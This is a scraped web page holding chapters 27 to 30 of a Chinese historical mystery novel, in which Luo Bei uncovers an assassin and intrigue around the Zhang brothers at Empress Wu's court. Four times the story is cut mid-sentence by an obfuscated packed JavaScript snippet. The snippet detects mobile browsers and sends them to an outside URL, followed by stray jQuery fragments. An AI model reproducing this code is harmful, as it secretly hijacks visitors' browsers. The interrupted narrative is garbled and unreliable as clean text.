d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281649|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽铠甲,想是值夜的禁军从宫中值班回来,想了想道:“我是凉州的参军,姓洛名北,此次进京访友,不料误了宵禁的时辰,才在这里睡了半夜,请阁下不要见怪。” “凉州的参军洛北,哦,我好像听人说起过,当时救继往绝可汗斛瑟罗入玉门关的人就是你?”那着铠甲的男人从后头走出来,上下打量了一番洛北,“我叫葛福顺,是百骑队的陪戎副尉,当时同斛瑟罗一道回来的几个侍卫如今就在我手下,洛公子,你比我想象还要年少得多。” 洛北拱手道礼:“葛副尉谬赞了。 ” 百骑队是太宗文皇帝李世民组织的一支贴身部队,各个都是百里挑一的骑射好手,因只有百人,才号称“百骑”。后来太宗去世,这支部队依旧保留了下来,直到今日。 斛瑟罗本身就领着朝廷大将军的职务,又一向为女皇所信,他的护卫被编在禁军之中倒也没有让洛北感到意外。 “既然洛公子没找到住处,不如就到我那里住一晚。”葛福顺笑道,“早就听那几个人说公子的骑射高明,不知道有没有机会领教一番。” 洛北笑笑:“既然如此,我恭敬不如从命,多谢葛副尉。” 葛福顺尚未娶亲,一个人住在偌大的屋子里,只有几个下仆服侍。那些下仆倒也习惯了主人家的作息,麻利地替他们烧了热水洗澡,又铺上新铺盖。 等躺在软软的床上,洛北才得以从纷乱的思绪里平静下来,安眠了一晚。 第二日一早下人来请他入客厅用早饭。他们移步到客厅内,桌上摆的是热腾腾的胡饼羊汤,另有数碟精致小菜。 葛福顺拿了块胡饼大嚼起来:“昨晚公子说是来洛阳访友的。哪位朋友如此不够意思,竟连一晚住宿也不肯招待?” 洛北轻轻一笑,报出了那宝刀原主的名字:“本来想找他说些事情,但他已去世,家里只有未亡人在,我一个外人,怎么好留宿,所以只好出来了。” 葛福顺大为惊讶:“公子怎么和这样的人结交起来,那小子的人品可不行!我们这些和他一起在禁军里长大的都被他坑过不少钱。”他看到洛北欲言又止,好像是猜到什么,“这小子也坑过公子的钱?” 洛北端起茶水抿了一口:“一言难尽……” 葛福顺倒有了些“同感”,不由得大骂此人喝酒赌钱无一不为,坑害同僚不忠不义来,又慨叹道:“公子在他家里可见了他夫人?多好的一个人呐,生的好看,平日里最是温婉贤淑的,就这样,他性子起了,还不是喊打喊杀。” “世间不平,巧妻常伴拙夫眠。”洛北随他的话附和两句,“她双亲俱亡,没人给她出头,也是没法子。” 葛福顺点了点头:“她父亲原是我们的教头,当初许亲的时候,可着我们一众人里挑,不知道怎的,就挑中了他,要是老头子在天有灵,大概要追悔莫及,便想真想和个祖上有大功的结亲家,挑他还不如挑他那兄弟呢?” “他那兄弟?” “不错,公子去的不巧,大概是没见着。他那兄弟年长他不少,打小带着我们玩的。后来他杳无音信,相传是……”葛福顺神神秘秘地一笑,“被咱们当时还是天后的女皇募去做事。这些年很少回来,前段时间得了他兄弟的死讯才回家里。唉,他那兄弟死得实在太惨,浑身都是伤痕……” 洛北怔在当场,他回想起昨夜的见到的“尸首”,还有那位“夫人”的一举一动……当下意识到,自己犯了个可怕的错误。 他止住葛福顺的话头,道:“可否请葛副尉和我一道再去那家看看?” 28. 第 28 章 两人拐到昨晚的宅子里,四下混乱依旧,只是棺木和夫人都不见了踪迹。葛福顺看洛北脸色不好,还以为他是忧心钱财没了下落:“唉,结交上那样的人,也是没法子的事情,也不知公子有多少损失……” “葛副尉。”洛北敛容正色道,“谋杀此间主人的凶手,找到了吗?” 葛福顺被他问的一愣:“没有。县里行事的风格,公子还不知道么?没有钱财打点,谁会替咱们查案?” 洛北深深吸了口气,他现在算是明白这一切到底是怎么回事了,只有一个问题,还需要他再确认一次:“葛副尉,杀害你的这位同僚的凶手已经被我抓到了,他不仅和此案有关,还可能参与了宋璟相公遇刺的案子。可否请葛副尉派人同我一道去抓人?” 葛福顺有些将信将疑,但他很快意识到,自己升官发财的机会就在眼前:“好!唯公子之命是从!” 洛北便如此这般地同他吩咐一番,不多久,葛福顺点出几个机灵好身手的家仆,换了便装同洛北一道前往祆教寺庙外的密林中。 李弘泰果然已经等在那里,洛北自己上前,厉声喝道:“你为什么不和我实话?” “实话……什么实话?”李弘泰本要抵赖,见洛北气势汹汹,自己先矮了半截。 洛北冷笑一声:“当然是你杀害宝刀原主的实话了!你怎么不告诉我,禁军里早就有人埋伏下了那宅子,等有人来取刀就认定他是杀人凶手。若不是我侥幸还有些功夫,恐怕已经落到他们手里了!” 李弘泰面露得色,此刻也不掩饰了:“说的不错,那人就是我杀的……可恨他死前还不肯说出宝刀的下落,一味地只说在海藏那里,哼……” 他眼珠一转,看到洛北还站在那里,不由又语带讥讽地笑道:“公子怎么还在这里?我要是公子,就立刻收拾行装,灰溜溜地回你的塞外去了!” 葛福顺大喝一声,率领着一众家丁从林间杀了出来:“好小子!我那同僚竟是把命送在你的手里!走,和我去见官!” 李弘泰本还想跑,葛福顺已经一拳将他打晕,又拱手对洛北道:“洛公子,你真的不和我一道去大理寺?” “不。而且我还有个不情之请,请葛副尉和大理寺中人禀报时不要提及我的名字。”洛北道。 这是要把功劳都让给葛福顺,葛福顺大为感念:“公子大义,叫我怎么报答呢?” 洛北一笑,只拍了拍他的肩,重新向祆寺中走去。他再次回到供奉圣火的房间,在神龛内扣动机关,取下墙上的一支火把,走进了那深不可测的黑色通道之中。 这密道初行时极窄,走到尽头却宽阔起来。洛北向内一望,但见屋内陈设精致,设的是紫檀木的桌椅,桌上一只白瓷花瓶里插了一捧菊花,旁边搁着几部书、一叠文册和茶奁茶杯。洛北取了一本文册正要翻看,身后传过来一个温软的声音: “公子倘若真的看了此册,我就要请公子把性命留在此地了。” 洛北缓慢地转过身去。他身后两个手执快剑的壮汉分列左右,正虎视眈眈地看着他。中间的少女一身紫色衣裙,言笑晏晏,显得眉眼温婉动人,确实与昨晚那个寡妇低眉顺眼的模样大不相同。 “夫人……”洛北想了想,还是改了称呼,“姑娘是宫中的女官?” “不错,我是女皇身边的女史,姓褚,单名一个‘沅’字。”褚沅自腰间拿出一只特赐的金鱼袋,递到洛北面前。 本朝制度,需用鱼袋盛放随身鱼符。鱼袋上饰以金银。不同品级的官员佩戴的鱼袋不同。外臣三品以上佩金鱼袋,五品以上佩银鱼袋。 褚沅身为女史,品级并不高,但女皇却将只有三品以上官员才可佩戴的金鱼袋特赐给她,可见她确受女皇器重。 洛北打开金鱼袋确认过身份,又双手将金鱼袋递还:“多谢褚女史。” 他现在算是把一切谜底都解开了,只是还有一个问题留待确认:“若我猜的不错,褚女史出现在宋相公之子的喜宴上,是为了告诉宋相公有人刺杀他的消息?” 褚沅点了点头:“不错,当日事发突然,我不好公开打断,只好私下见了宋相公,请他离开宴席,以免被害。” 她眨了眨眼睛,昏暗的灯光下,她的眼眸也如琥珀般明亮: “公子如今不仅知道禁军被杀案的真相,还知道宋相公遇刺案的真相。你为什么不去大理寺找桓彦范邀功,反倒把机会让给了葛福顺呢?” 洛北哑然失笑:“我虽然知晓其中始末,但大部分都是推断,没有一点证据。更不要说,如今这刺客已死,已经是死无对证了。” 褚沅轻轻一笑:“我可没有说过这个刺客已死。洛公子,我和你打个赌怎么样?你可以将你关于这两个案子的推论说上一遍,若是都猜对了,我就将犯人交给你。” 洛北身子微微前倾:“此话当真?” “当然当真,此案已经闹得天下闻名,如果不能结案,岂不是让天下人笑话朝廷无能?” 褚沅是在考他。洛北点了点头:“宋相公的遇刺案很简单。朝野之中也早有怀疑。宋相公刚正不阿,为女皇的男宠张氏兄弟所厌恶,便派出了杀手刺杀于他——但这消息被褚女史您知晓,所以您大概是在禀报女皇之后,抢先一步告诉了宋相公有刺客出现的消息。” 褚沅冷笑一声:“女皇陛下得知张氏兄弟谋刺宋相公后,对此有句评价:‘那两个蠢货自以为可以为所欲为,其实一不小心就会把那两个漂亮的脑袋瓜丢在街上’。他们真的觉得行刺朝廷宰相不用付出代价。” 她这样一说,洛北也猜到了为什么褚沅愿意把杀手交给他,女皇对张氏兄弟有些不满,想要靠三法司吓一吓他们: “这个刺客便是我昨天晚上见到的‘尸首’,他本是禁军军官,多年前为人招募,便做起了杀人的买卖。他一向行踪诡秘,不为人知。但还有一个弟弟,也在禁军任职。所以他第一反应,便是逃到弟弟家中。可他到了那里,才发现自己的弟弟已经被人拷打之后残忍杀害了。” 洛北顿了顿,抿了一口桌上的茶水:“他第一个怀疑的是常常和兄弟在一起喝酒打牌的胡商海藏,也就是这座祆寺里的那个死者。” “所以这个刺客扮作胡商混入祆寺之中,在看到海藏手边那把家传宝刀之后,勃然大怒,当场杀掉了海藏,拿走了家传宝刀,还把自己的凶器丢在现场。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281650|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 褚沅笑道:“不巧的是那日公子也在,所以他嫁祸给王翰的计划没有成功。” 洛北轻轻叹息一声:“不错,他被我激怒,本来想在路上杀了我。但被我刺伤了手腕,所以无奈之下,他只能回到自己弟弟家中躲避。” “只是他没有想到,螳螂捕蝉,黄雀在后。海藏一死,褚女史便猜到了是他所为,赶到他的弟弟家中将他抓获。” 褚沅轻轻一笑:“不错,只是公子来得比我想象的更快。还带上了我丢在宋家的耳环,真是让我惊讶。” 洛北并不觉得她是在夸赞自己,只继续说道:“所以褚女史在门外故布疑阵,好给自己时间喂给杀手假死药,又扮成孀妇模样。我总不会当着未亡人的面验查尸首。所以褚女史很顺利地过了关。” 褚沅笑了,她从袖中取出洛北的那锭金子,还到洛北手边:“公子确实是位不折不扣的君子。其实当夜只要你多留一会儿,便能见到那杀手——哦,对了,他叫关大,‘死而复生’的情景了。可惜我留公子,公子却不肯留下过夜。” 洛北摆了摆手:“褚女史,若我真的留下来了,难道还有命见到第二天的太阳吗?” 褚沅又发出一串银铃般的笑声:“和公子这样的聪明人打交道,有时候也是无趣得很呢。”她站起身,挥了挥手,招来两个大汉:“你们去把关大带来给洛公子。” 一个大汉道:“可是女史,洛北此人十分危险,让他和您单独留在这屋子里,恐怕……” “这里到底是我发号施令还是你发号施令?”褚沅一皱柳眉,隐有发作之势。 那大汉不敢和她顶撞,两个人一道退了下去。 洛北开口道:“我可否问褚女史一个问题?” “公子这样的聪明人,不会还想问我为什么要把关大交给你吧?” 洛北轻轻叹息一声:“不,我是想问,褚女史既然姓褚,可是贞观名相褚遂良的后人?” 褚沅神色一变,柳眉倒竖,不复刚刚的温婉模样:“你问这个做什么?!” “我只是一问,褚女史可以答,也可以不答。” 褚沅面带犹豫,又忍不住上下打量了他一眼,似乎想看出他究竟在想什么,奈何洛北神色坦荡,什么也没有叫她看出来: “没错,我是罪臣褚遂良的后人。” 洛北笑了:“是这样……”他的神情陡然放松下来,又看了一眼那两个大汉的方向,似乎离他们回转,还有一点时间。 褚沅也意识到了这一点,她压低声音道:“公子,我还有句话要托你带给大理寺的桓少卿,‘若想扳倒那样的对手,只有一个办法,以彼之道,还彼之身。’” 她这话语焉不详,洛北睁大眼睛,本要再问得详细些,可那两个大汉已经押着那杀手回来了。褚沅缄口不言,只低头翻动桌上的一部书。 洛北押过杀手,走出了长长的通道,来到林中,正要问他几句姓名籍贯之类的常规问题,但无论他怎么问,杀手都只是吱吱呀呀地发出几个音节,不能说话。 洛北忙伸手捏住他面颊两边,迫使他张开嘴。他的口腔中空荡荡的——竟是已被人割掉了大半的舌头。 29. 第 29 章 刺杀宋璟的刺客关大落网,李弘泰被捕,葛福顺因功调任万骑左营统领,成为了禁军的中层将领。他对洛北感激不尽,数次登门感谢洛北,还提出要在禁军中为洛北谋个一官半职。 洛北只以自己在凉州尚有职位,全部推拒。对于他来说,在此案中最大的收获是他可以把褚沅的那句话从带给“大理寺少卿桓彦范”捏造为带给“宰相张柬之”,从而得到一个正大光明地去张柬之的私宅拜访的机会。 张柬之是当今李唐派的领袖人物。但他的仕途并不顺利,他在县丞的位置上干了四十多年,是在六十多岁时才蒙狄仁杰举荐,来到中央担任宰相。如今他已是八十多岁,但须发尚黑,精神抖擞,一双狭长眼眸中犹有精光,此刻正牢牢地钉在洛北身上: “你说,宫中的女官有话转达?” 洛北微微躬身,将褚沅说过的话复述一遍,又道:“我回去之后,也将此事琢磨数遍,心中有一个猜测,褚女史所说的‘以彼之道,还彼之身’可能是昔日魏元忠魏公遭人遭柴明诬告的旧事。” 魏元忠素有兼资文武的名声,曾担任监察御史,随军平定扬州徐敬业叛乱,更是太子李显的东宫旧臣。他和二张一向不对盘,曾经公正执法,杀了当街杀人的张家仆人,更屡次上奏女皇,要求贬斥二张。 二张在女皇面前日夜哭诉,最终还是把他赶出了朝廷。在他被贬外放的时候,有八个人前来送行。不久,竟然有一个神秘的平民“柴明”投铜匦上书,状告来行的八人与宰相魏元忠图谋不轨。 虽然此案因朝廷众臣反对而作罢,但此案之后,女皇再度下令迁都洛阳——又将“李武之争”的结果变得扑朔迷离起来。 张柬之神色一变:“难道我们也要像二张一样凭空捏造吗?” 洛北道:“张相公误会了,那个叫李弘泰的江湖骗子曾在大理寺中说出一件事情:他曾经为了溜入二张府邸偷盗一件宝物,给六郎张昌宗相面,为了讨好张昌宗,他说张昌宗有天子之相。张昌宗也欣然接受。” “竟有此事?!”张柬之也大为惊讶,女皇极信风水天相之事,当年她发动武周革命,也利用了不少天相之说,女皇的男宠又怎么敢冒这样的忌讳,让一个江湖骗子说自己有天子相呢? 洛北道:“是,那张昌宗听完之后,大为欣喜,厚赏了此人,桓少卿已带人去此人住处起出了赃物,其中有不少是宫中所制,可见此人所言应当是真的。” 张柬之已经意识到一个十分难得的机会正在眼前:“这个李弘泰可愿出堂作证?” 洛北说:“这是自然,李弘泰身犯杀人大罪,一心想要活命,为了活命,他肯定是愿意出面的。” “不错。”张柬之点了点头,吩咐下人写信给桓彦范,要他再次提审此人,把事情始末弄个明白。待到屋中再也没有第三个人,张柬之示意洛北在靠后的椅子上坐下:“洛公子,现在屋内只有你我,你可以说一说你前来拜访我的真实目的了吧?” 洛北笑道:“张相公怎么知道我此来另有目的?” “褚沅是宫中女官,她的一举一动都有女皇授意。这句话告诉桓彦范,就可以在朝中掀起大案。但如果要是告诉了我——二张兄弟便只有丢官弃职,离开京城一条路了。但女皇既然不肯让关大说出幕后主使,便是不希望此事闹大。”张柬之好整以暇地摸了摸茶盏的边缘:“说吧,你一个小小的凉州参军,费尽心机地来拜访我,到底有什么目的?” 洛北点了点头,取出姚崇替他写的那封推荐信:“我有幸蒙姚相公举荐,前来为张相公效命,愿为张相公鞍前马后,在所不辞。” 张柬之将姚崇的信件展开看了看,又不免在洛北身上打量数次,最终还是叹了口气:“姚崇在信中盛赞你少年英才,要我对你委以重任。哼,他把我们的事情想的太简单了。” 他将信件收在自己怀里,又道:“这样吧,如今摆在面前的便有一件事——倘若李弘泰所说的事情是真的,要扳倒二张,就只有在民间掀起议论。而这样的事情,朝廷宰辅是不能出面的。” 洛北低头道礼:“我愿意为张相公效劳。” 上阳宫的早晨是由宫人们洒扫的声音唤起来的。女皇自梦中醒来之时,宫里的一切已经焕然一新。阳光自雕花的窗中照进大殿,落在墙角精致的更漏上,宣告着一日的开始。 过了眼下的这个年,尊贵的女皇武则天便已八十一岁,年老多病的她已经不复多年前初登大宝时的勤勉。大部分时候女皇都待在迎仙宫里,只有宰相和她亲近的臣子们才能在初一十五的入宫觐见。 常伴在女皇身边的是几个女官和奉宸府的一批男宠。这日尚早,男宠们还没入宫,女皇正和身边的几个女官聊起春节的庆典:“宫中的那些表演,朕都看倦了。倒是从宫外请来些新人的好。上回褚沅说起祆教赛祆的仪式有趣热闹,朕也想看些异域的风情。” 华阳夫人库狄月在一边笑着应承了,又和女皇说起西域的歌舞。她原是名将裴行俭的妻子,也曾跟随裴行俭去过碎叶城,描绘起塞外风物,端的是栩栩如生。女皇且笑且听,殿中的气氛一下子活泼起来。 梳头宫女入殿行礼,开始给女皇梳头。女皇看着镜中的容貌,虽然年轻,但到底不比当年,笑着道:“要是当年没入宫,说不定朕也去了西域游览,如今守着这一方天地,守了这许多年,真是无趣。” 库狄月笑道:“虽然陛下不曾亲身入西域,可陛下派王孝杰重开西域的功勋却是万古留名。” 这是女皇的一大得意事,但她面上并不表露出来,只笑笑道:“倒是你会奉承。”她说到此处,倒像是想起什么似的,转头对库狄月道:“前些日子叫他们拿出的那个嵌玉犀角杯,可拿出来了没有?那是王孝杰从西域回来的时候献给朕的,说是什么高昌国的宝物。” 库狄月道:“可是那犀角仙人乘槎杯?奴婢在家里的时候也听过,说是高昌国的至宝,单独那犀角便与交趾南诏的不同,说是更西的地方进贡来的。” 女皇又是一笑:“唉,什么宝物,都是俗物罢了,朕只觉得那雕的仙人乘槎不错,意头也好,打算拿出来过年用的。” 和许多君主一样,武则天人到晚年,兴趣也从现实中的朝政转向了未来,开始琢磨起“得道成仙”、“长生不老”的事情了。 库狄月顺着她的话往下说:“陛下福泽绵长,必当长盛不衰。” 女皇笑了笑,没再说话。她盯着镜子中自己的容颜,心道,长盛不衰不过是编出来哄人的话,再说,她要是再做个十年的皇帝,朝中那群大臣还不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281651|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是什么样呢? “陛下,陛下。” 正在女皇沉思的时候,外头有宫人来禀报,说是去取犀角仙人乘槎杯的宫人回来了。库狄月忙起一句转开话头:“借着陛下的光,奴婢也可以看看这传闻中的至宝了。” 女皇挥了挥手,叫人进来。那宫婢极为恭敬地捧着两个绸缎盒子走了进来,库狄月去将两个盒子开了,一个打开后流光溢彩,正是那传闻中的犀角杯,而另外一个,却是空的。 那宫婢的脸一下子就白了,忙跪倒在地:“陛下,奴婢不知,奴婢实在不知啊。” “你要是知道,也不会就这么端了过来。”库狄月抢先发作道,“来啊,叫负责看守的宫女和司宝一道来!” 那两个女子已经听说了珍宝不翼而飞的消息,一进殿内,都是战战兢兢,两股战战的模样。库狄月训道:“这是怎么回事?” 那司宝跪倒在地:“奴婢死罪,奴婢翻了内库记录,只有,只有奉宸府的两位张公子来过......” “好大的胆子!自己丢了东西,竟敢污蔑到五郎六郎身上!”库狄月喝道,“来人,给我拉出去,打二十板子!” 五郎六郎指的便是张易之、张昌宗兄弟。这俩兄弟一贯为女皇所爱,宫中人人皆知。库狄月抢先发作,为的就是不让女皇发怒。 那司宝正要被拉下去,女皇却开了口:“慢着。” “陛下饶命,陛下饶命,婢子没有污蔑,陛下如果不信,可以查看文档!”周围的近侍一松手,司宝就跪伏在地上,哭喊道。 女皇轻轻笑了一声:“倒也不用这么麻烦。”她转向身边的侍女,“去看看,五郎六郎来了没有?” 张易之和张昌宗今年都不过二十多岁,一个妩媚动人,一个清雅淡然。两人进得宫来,端正行礼。女皇就问他们犀角杯之事。 他们大呼冤枉。张昌宗更是泪水涟涟:“微臣一衣一物都是陛下所赐,微臣怎么敢欺瞒陛下!” 女皇点了点头:“知道你们不敢,下去吧。朕今日要去御湖泛舟,你们去准备准备。” 待到二张兄弟退下,迎仙宫中便只剩下了一片冷肃。库狄月犹豫再三,还是开口道:“陛下,这几个婢子触犯宫规,犯下大错,奴婢身为御正,有责罚之责,请陛下允许奴婢按照宫规责罚。” “责罚什么?”女皇懒洋洋地问,“自己做错了事情,还要诬陷他人。这样的贱婢,活在世上也没什么用。你把她们带下去,打死了算完。” 库狄月一怔,本要求情,女皇却已经挥了挥手,示意她们一起退下。 那梳头的宫女看着这一切,不由得心底发紧,手下忽而失了轻重,在女皇的头上揪下了一根白发。她见女皇面露不豫,扑腾一声跪倒在地:“奴婢罪该万死!奴婢罪该万死!” 褚沅走进迎仙宫的时候,便是这么一副肃杀场景。她看到女皇闭目不言,立刻快走几步上前,接过了梳头宫女手中的发梳:“这点小事都做不好,还要你们有什么用,快滚!” 那梳头宫女愣在当场,不敢说话,却见褚沅对她使了个眼色,当下如蒙大赦,立刻叩了三个头,退下去了。 褚沅一下一下地在女皇头上轻轻梳理着,女皇闭着眼睛,问道:“那件事情,你去问过了没有?” 30. 第 30 章 女皇问的“那件事情”,自然是近些日子闹得沸沸扬扬的“二张兄弟谋逆案”。 半个月之前,有个和“柴明”一样神秘的许州百姓杨元嗣投匦上告,状书上说:张昌宗曾召术士李弘泰相面占卜,李弘泰说张昌宗有天子相。张昌宗私下找人相面,是有不臣之心。 很快,洛阳的大街小巷出现飞书(张贴的匿名信),皆云二张勾结妖人心怀异志。宋璟也带着一干御史风闻上奏,要求严惩二张。朝野内外闹得沸沸扬扬,女皇便是再袒护二张,也不得不做出样子来。 “奴婢已经奉命在大理寺提审过李弘泰,他言之凿凿,并不像是在说假话,更何况,他家中又搜出不少违制使用的物品,其中不少是陛下赐给张昌宗的。”褚沅温言答道,“陛下,相面这件事情,看上去是假不了。这二张会不会真的.......” 武则天轻轻一笑,睁开了双眼:“你太高看他们了。谋反逆天这么大的事,他们没那么大的胆子,也做不出那么大的谋划!” 褚沅低头称是:“只是奴婢游走民间,就连乡野小肆都在议论二张的跋扈。陛下圣明有如日月,怎么能让这两个家伙抹黑。” “哎——这两个人对朕还是有功的嘛。”女皇摇了摇头,并没有下决断。她对二张的感情有些复杂,与当年的薛怀义等人不同,女皇与二张的岁数差了近一个甲子,说男女情欲,确实不少。但有时也像长辈在娇惯孙辈。 毕竟女皇的儿女中,唯有太平公主还能和她说说话。李显、李旦、乃至于武三思,各个都畏惧她。孙辈就别提了——二张兄弟干的事情对于皇帝来说,不过就是坏了点规矩,并不算得了什么。 褚沅说:“奴婢倒有个建议,陛下不妨下旨,就说张昌宗相面之事确有其事,但他不过一时取乐。也已经向陛下禀报过了。既然没有瞒着陛下,也就算不上谋反,更谈不上加罪。” 女皇哈哈一笑:“小机灵鬼儿,你是要朕公开下诏为他们撒谎?” “奴婢怎么敢怂恿陛下!”褚沅装模作样地低身请罪。 “下诏为这样的事情辩解,实在是不符合天家气度。就是叫婉儿去写,她也不知道要怎么写。先由着他们闹吧,要是闹崩了,朕再下手敕。”女皇心中的一块大石落了地,心情也好上不少,“对了,朕刚刚要找前些年王孝杰献上来的犀角杯,却少了一只。你在民间的时候多,也替朕找找,朕还想着过年的时候用呢。” “奴婢谨遵圣命。”褚沅见女皇又闭上了眼,知道她不想再谈论这些事情,便用指腹替她揉着几处穴位,放轻了声音道:“听说陛下今日要去游湖,奴婢给陛下梳一个飞仙髻吧,再带些金雪柳和宝石步摇,湖风一吹,便有飘然仙子之态.......” 褚沅在宫中与女皇讨论此事,洛北也与裴伷先也在一间酒肆的偏僻雅间中讨论此事。 裴伷先在自己的地盘,说话放松了不少,提起酒杯:“公子,咱们已经尽了全力,在朝野造出二张谋反的声势来,怎么女皇那里什么风声都没有?眼看着年下朝廷就要封笔,咱们可要再扇把火?” 洛北摇了摇头:“女皇沉得住气,咱们也就没有必要着急。等到来年开春,来京城赴考的举子满城,这些日子积攒的愤怒就会像是一捆干柴,只要轻轻一点,便能升起燎原之火。” 他举起酒杯,道:“不过,我今日请你喝酒,是因为有人要借我求见你这位大商人。” 裴伷先笑道:“不知道是什么人有幸得了公子的青眼?” “青眼谈不上,这人曾经当过军官,后来做了里正。洛阳城里的大小帮派,倒有一大半归他管辖。”洛北道,“前些日子咱们张贴飞书,他也帮了不少忙。我一直要以金银酬谢,他一直不肯收,说是为了义气行事。倒是听说我认识你,非要求见你不可。” 他介绍之间,那叫胡四的里正已经踏进了酒肆,胡四身强体壮,立起来足有两个人大。洛北起身对他招了招手,请他坐了下来:“胡四哥,这就是我同你说过的,鼎鼎大名的裴伷先。” 裴伷先看着洛北这谦卑的模样,心下觉得好笑,面上却要摆出一个大商人应有的做派:“不错,我正是裴伷先,听洛公子说,你有事求我?” “是是是。”胡四道了个大礼,“小人已经病入膏肓,但求裴老板救我一救。” 裴伷先乐道:“救命的事,你求洛公子不就行了。洛公子可是当世神医,便是那些太医,也未必有他一半本事。”他看这胡四气色颇佳,并不像是生病的样子。 “其实这病不是身上的病,而是,而是心里的病。”胡四道,“我看中了一位淑女,端的是十分聪慧美丽,我虽一直和她来往,却不知道她的心意,我......” “你莫不是想叫我去做媒吧?”裴伷先好奇问。 “这,这不能,这当然不能。”胡四道,“婚姻乃是大事,裴老板知道的,我这样的身份定下的官媒要是被人拒之千里,那该多没面子!更何况也是唐突了佳人。我只想着,裴老板是个有身份的人,那位女郎也有些西域关系,若是裴老板能去帮我美言几句,恐怕会是好事。” 裴伷先不禁哈哈大笑起来,洛北也忍俊不禁。他们忖度着四下无事,干坐着等消息也是无趣,便应下此事。两人一道往胡四所说的那女子所在的街市走去。 这日天气好,晴空万里。他们俩趁着酒兴,快步往那边走了半刻。没进巷子,就听到有人高声叫喊:“你们这群人也忒得没道理,孝嵩他不过是倒霉得被选上了台,怎么就成了他是杀人凶手?!” 洛北和裴伷先对视一眼,各自把手放在了刀柄上,向那边移步过去。但见路口有个戏台子,下面围了一群人。台上一个身着锦袍的贵公子正在叫嚷,另一个身着长袍,披着斗篷的人蹲在地上,正在看着一个躺在血泊中的人。 “这位贵公子看着倒是眼熟,啊,是王翰?”洛北远远地认出那个锦袍人就是他在祆寺中救下的王翰。没想到再见面时,这倒霉的王公子竟又是深陷困局。 裴伷先道:“若是公子不介意,我们可否去看看?这王翰的家里和我有些生意往来,我想能帮则帮,结个善缘。” 洛北自无不可,两人分开众人上了台,但见戏台上一众戏班子的人都哭哭啼啼地围在两边,一个男人占住了出口,让人不得逃脱。 几人也顾不上见礼,裴伷先开口便是一句:“王翰,这是出了什么事情?” 王翰恨声道:“说来话长,这是我的旧同窗张孝嵩,他昨天才到洛阳,预备着参加开春的科举。我见他一个人在屋子里读书实在太闷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281652|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就带他出来转转。” 几人这才注意站在一边手中持剑的青年,但见他人高马大,仪表堂堂,此刻却满脸无措,站在一边。 “刚刚我们吃了饭,看到这戏班子在表演杂耍,就围过来看看,谁想到那班主挑了孝嵩来表演,叫孝嵩把剑刺进地上这少年的身体。” 这样的把戏洛北和裴伷先在西域常见。说穿法门也不值一提,便是把那把要刺人的剑做成中空形状,灌入猪血或者其他什么红色的液体,剑尖却做成假的,只有几寸长。 这样的剑一旦刺到什么东西上,就会滑进剑身里,看上去像是刺的很深。等到剑身中的“血”流完了,宝剑抽出时,剑尖又会被里面暗藏的一根藤条推出,重新恢复原状。 裴伷先拿了地上那把沾血的剑,略看了一眼剑尖:“但这可是把真剑。” “孝嵩哪里知道这些戏法的门门道道,不过是别人递给他剑,他接过一刺而已。可恨这群人不依不饶,都说孝嵩杀了人,要孝嵩偿命!” 洛北本蹲在地上查验那“尸首”,手按在那孩子脉搏上片刻功夫,才厉声喝道:“都别哭了。这孩子还有得救。去给我取壶烈酒来。” 张孝嵩本来站在一边,听洛北这样说好像抓到了救命稻草:“这孩子还有救?” 洛北点了点头:“不错,你出剑很有分寸,并未伤到这孩子的要害。他只是失血过多引起的昏厥休克,只要施救及时,是有的救的。” 他示意张孝嵩扶着人,自己则取出随身的金针,在烈酒中一浸,又取些酒擦了擦皮肤,便在那少年的水沟穴连刺数次,刺到十几次的时候,那少年呼出一口浊气,呼吸重新正常起来。 洛北又连着在其他几处穴位上下针,止住那少年的流血趋势,才在伤口上撒上白药,用一块干净的棉布裹好伤口,转而问一众戏班子的人:“谁来看护这孩子?” 那站在出口处的男人下跪对洛北道了个大礼:“我就是班主,姓赵。这孩子是我的侄儿,我弟弟没得早,他跟我跑生活,多谢公子救命的大恩大德。” “不必谢我。你就谢谢这位孝嵩公子剑法好吧。”洛北已在一边的桌上捡了纸笔,匆匆写下一副药方,“这孩子年少,身体底子也不错,好生让他修养十天半个月,拿这补气血的方子吃上几次,便没有事了。若是还有事情,来这个地址寻我。” 